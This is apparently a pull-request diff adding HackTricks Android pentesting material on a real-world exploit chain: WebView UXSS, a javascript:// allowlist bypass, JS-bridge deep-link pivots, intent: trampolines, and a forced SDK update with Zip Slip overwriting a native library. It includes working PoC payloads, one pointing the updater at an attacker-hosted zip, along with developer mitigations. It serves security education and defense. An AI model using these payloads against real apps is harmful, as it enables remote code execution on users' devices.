Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -223,6 +223,57 @@ Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.

---
## 6. Case study pattern: Mini‑app SDK update (version bump + MD5-from-URL + Zip Slip → native RCE)

Some “mini‑app” SDKs ship a hidden test Activity in a split APK (e.g., `split_df_miniapp.apk`) that can be reached via an internal intent. That Activity accepts a data URI such as `tma://update?action=sdkUpdate&...` and drives a download/unzip pipeline. Typical vulnerable characteristics:

- Forced update by version bump:
- Handler compares current vs requested version; setting `sdkUpdateVersion=9999` always triggers download.
- Filename-derived integrity check:
- Download path uses `getMd5FromUrl(latestSDKUrl)` which extracts the MD5 substring between the last `_` and the final `.`. The archive is trusted if its actual MD5 matches the derived value. Attackers simply name the file `anything_{md5}.zip` where `{md5}` is the real MD5.
- Context initialization required:
- The pipeline may require an initialized SDK context. From JS, prime it via a bridge call such as `preloadMiniApp` before launching the updater.
- Zip Slip during extraction:
- The unzip routine disables traversal mitigation (guard always false) and writes entries verbatim. A crafted entry like:

```text
../../../../../../../../../data/data/<pkg>/app_lib/<bundle>/<abi>/libjsc.so
```

overwrites a writable native library. On next restart the app loads the attacker library and executes arbitrary native code under the app UID.

End-to-end delivery often chains WebView bugs (UXSS → JS bridge → internal deep link) with an `intent:` trampoline to reach the hidden updater Activity. See WebView and Intent pages for discovery and pivot techniques.

PoC building blocks:

- Initialize SDK from JS:
```js
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"func":"preloadMiniApp","params":{"mini_app_url":"https://microapp/"}
}));
```

- Start hidden test Activity via `intent:` URI (example):
```js
location = "intent:#Intent;component=com.pkg/.TmaTestActivity;package=com.pkg;action=android.intent.action.VIEW;S.android.intent.extra.TEXT=tma://update?action=sdkUpdate&sdkUpdateVersion=9999&sdkVersion=1.0.0&latestSDKUrl=https://attacker/anything_{md5}.zip;end;";
```

- Ensure the malicious ZIP is named `anything_{md5}.zip` and contains a traversal entry to the target `.so`.

Hunting tips:
- Don’t stop at `base.apk`: enumerate and pull split APKs:
```bash
adb shell pm path <package>
# pull all returned apks; look for miniapp/df_* splits
```
- Grep for `sdkUpdate`, `latestSDKUrl`, `getMd5FromUrl`, `ZipInputStream` helpers, and Activities handling `Intent.parseUri`.

Mitigations (developers):
- Remove test updaters from production or protect them with signature/permissions.
- Validate scheme/host/query; don’t trust filename‑derived hashes; verify a developer‑signed manifest or the whole archive.
- Enforce Zip Slip protections: canonicalise paths; reject `..` and absolute paths; extract to temp dir and move with strict checks.

---
## 6. Post-Exploitation Ideas

Expand All @@ -247,5 +298,6 @@ Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`

- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
- [Practical Android Pentesting: A Case Study on TikTok RCE](https://dphoeniixx.medium.com/practical-android-pentesting-a-case-study-on-tiktok-rce-4a82e79cc7c6)

{{#include ../../banners/hacktricks-training.md}}
62 changes: 49 additions & 13 deletions src/mobile-pentesting/android-app-pentesting/intent-injection.md
Original file line number Diff line number Diff line change
Expand Up @@ -185,19 +185,54 @@ Flags helpful for singleTask-style behavior
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
```

Real-world examples (impact varies):
- CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.
- CVE-2023-44121 (LG ThinQ Service): exported receiver action `com.lge.lms.things.notification.ACTION` → system-level effects.
- CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).

Mitigations (developer checklist)
- Do not forward incoming Intents directly; sanitize and re-construct allowed fields.
- Restrict exposure with `android:exported="false"` unless necessary. Protect exported components with permissions and signatures.
- Verify caller identity (`getCallingPackage()`/`getCallingActivity()`), and enforce explicit Intents for intra-app navigation.
- Validate both `action` and `data` (scheme/host/path) before use; avoid `Intent.parseUri` on untrusted input.
### WebViewClient intent: handler and gesture-gate bypass (case-study pattern)

Many apps implement `shouldOverrideUrlLoading()` that treats `intent:` URIs specially:

```java
Intent i = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);
if (i.resolveActivity(ctx.getPackageManager()) != null) {
// Optional: recent-click gate
boolean ok = hasClickInTimeInterval();
if (ok) ctx.startActivity(i);
return true;
}
```

If direct JS navigation (e.g., `location = 'intent:#Intent;component=...'`) is blocked by a recent-click gate, look for alternate gadgets:
- A different Activity’s WebViewClient with more permissive logic
- A deep link that toggles behavior via an extra like `disable_app_link=false`

Example observed pattern (simplified): an internal deep link `aweme://wiki?url=<URL>` uses its own `WebViewClient` with:

```java
boolean disable = getIntent().getBooleanExtra("disable_app_link", true);
if (url.startsWith("intent:")) {
if (disable) { /* "Can't open this app" */ return true; }
Intent v = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);
startActivity(v);
return true;
}
```

This can be reached from Web content when a JS bridge exposes a generic opener:

```js
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"func":"openSchema",
"params":{ "schema":"aweme://wiki?url=https://allowed/&disable_app_link=false" },
"JSSDK":"1","namespace":"host"
}));
```

From there, use `intent:` to launch protected Activities (`Intent.parseUri` + `startActivity`) even if they are not exported to external apps.

Mitigations
- Remove or strictly gate `intent:` handling from WebView flows; require strong gestures and per-origin allowlists.
- Validate both scheme and host of any deep link driving a WebView; reject `javascript:`/`intent:` and unknown schemes.
- Do not expose generic schema openers to untrusted WebView content.

Real-world chain example: see the UXSS → JS bridge → internal deep link → `intent:` trampoline → update pipeline abuse documented in the references below.

---

Expand All @@ -219,5 +254,6 @@ Mitigations (developer checklist)
- [CVE-2022-36837 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2022-36837)
- [CVE-2021-4438 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-4438)
- [CVE-2020-14116 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-14116)
- [Practical Android Pentesting: A Case Study on TikTok RCE](https://dphoeniixx.medium.com/practical-android-pentesting-a-case-study-on-tiktok-rce-4a82e79cc7c6)

{{#include ../../banners/hacktricks-training.md}}
115 changes: 113 additions & 2 deletions src/mobile-pentesting/android-app-pentesting/webview-attacks.md
Original file line number Diff line number Diff line change
Expand Up @@ -383,6 +383,118 @@ xhr.open(
xhr.send(null)
```

---

## Advanced exploitation: UXSS to Intent/Deep-Link pivot to Native RCE

This section summarises a real-world exploit chain observed in a popular app and generalises the techniques so you can hunt them in any target.

### 1) Universal XSS via evaluateJavascript() string injection (use fragments)

Bug pattern:

```java
// Executed after page load by an interceptor/helper
webView.evaluateJavascript(
"JSON.stringify(window.performance.getEntriesByName('\"" + currentUrl + "\"'))",
callback
);
```

If the navigated URL is embedded inside a single-quoted JS string, inject via the URL fragment which many apps forget to re-encode:

```text
https://allowed.host/path#',PAYLOAD,'
```

Example PoC:

```text
https://m.tld/app#',alert(1),'
```

Tip: Hook evaluateJavascript with Frida to confirm arguments at runtime:

```js
Java.perform(function(){
var WV = Java.use('android.webkit.WebView');
WV.evaluateJavascript.overload('java.lang.String','android.webkit.ValueCallback').implementation = function(a,b){
console.log('[evaluateJavascript] '+a);
return this.evaluateJavascript(a,b);
}
});
```

### 2) From JS to internal deep links via bridges

If the app exposes a JavaScript bridge with a method like `openSchema`, JS can indirectly open **internal/non-exported** deep links:

```js
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"func":"openSchema",
"params":{ "schema":"aweme://wiki?url=https://m.tld/&disable_app_link=false" },
"__msg_type":"callback","JSSDK":"1","namespace":"host"
}));
```

This lets Web content trigger privileged in-app navigation even when the underlying Activities are not exported to external apps.

### 3) Host-allowlist bypass using javascript:// scheme

If a validator only checks the URL host but not the scheme, you can keep the allowlisted host while switching to the `javascript:` scheme to get execution in the same WebView:

```text
javascript://allowed.host/%0aalert(1)
```

The `%0a` (newline) terminates the host part and starts the JS payload in most WebView URL parsers.

### 4) Intent-scheme trampoline inside WebViewClient

Many WebViewClients implement `shouldOverrideUrlLoading()` that special-cases `intent:` URIs and calls `Intent.parseUri(..., Intent.URI_INTENT_SCHEME)` followed by `startActivity(...)`. Some implementations gate this behind a recent user-click check. Look for alternate code paths (another Activity’s WebViewClient, or a deep-link extra like `disable_app_link=false`) that relax the requirement, then redirect from JS with:

```js
location = "intent:#Intent;component=com.pkg/.TargetActivity;package=com.pkg;action=android.intent.action.VIEW;end";
```

### 5) Chain end goal: update pipelines and Zip Slip overwrite

Once you land in an internal test/update Activity, look for parameters that trigger a download/unzip pipeline. Common bugs include:
- Accepting a higher `version` param to force update
- Deriving the expected hash from the filename/URL instead of a signature (e.g., `anything_{md5}.zip`)
- Unzipping with traversal checks disabled → Zip Slip arbitrary file overwrite inside app-internal storage (e.g., native libs under `/data/data/<pkg>/app_lib/.../lib*.so`)

Minimal PoC building blocks:

- JS bridge priming context (if required):

```js
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"func":"preloadMiniApp","params":{"mini_app_url":"https://microapp/"}
}));
```

- Force an internal Activity via intent URI:

```js
location = "intent:#Intent;component=com.pkg/.TmaTestActivity;package=com.pkg;action=android.intent.action.VIEW;S.android.intent.extra.TEXT=tma://update?action=sdkUpdate&sdkUpdateVersion=9999&sdkVersion=1.0.0&latestSDKUrl=https://attacker/anything_{md5}.zip;end;";
```

- Malicious ZIP contains traversal entry (example):

```text
../../../../../../../../../data/data/com.pkg/app_lib/df_rn_kit/<...>/arm64-v8a/libjsc.so
```

Impact: on next app/mini-app restart the overwritten library is loaded, yielding native RCE under the app UID.

### Mitigations (developer checklist for these bugs)
- Never concatenate untrusted URLs into JS passed to `evaluateJavascript()`; use safe templating/escaping.
- Validate the URL scheme as well as host/path; reject `javascript:`/`intent:` unless explicitly needed.
- JS bridges should not expose generic schema openers to untrusted origins; require strong user gestures and per-origin allowlists.
- For intent handling in WebViewClient, remove `intent:` support or gate it behind explicit user interaction and strict validation.
- For update pipelines, enforce signature verification on archives; reject filename-derived hashes; ensure Zip Slip defenses by canonicalising and validating entry paths before write.

## References

- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
Expand All @@ -393,7 +505,6 @@ xhr.send(null)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
- [Practical Android Pentesting: A Case Study on TikTok RCE](https://dphoeniixx.medium.com/practical-android-pentesting-a-case-study-on-tiktok-rce-4a82e79cc7c6)

{{#include ../../banners/hacktricks-training.md}}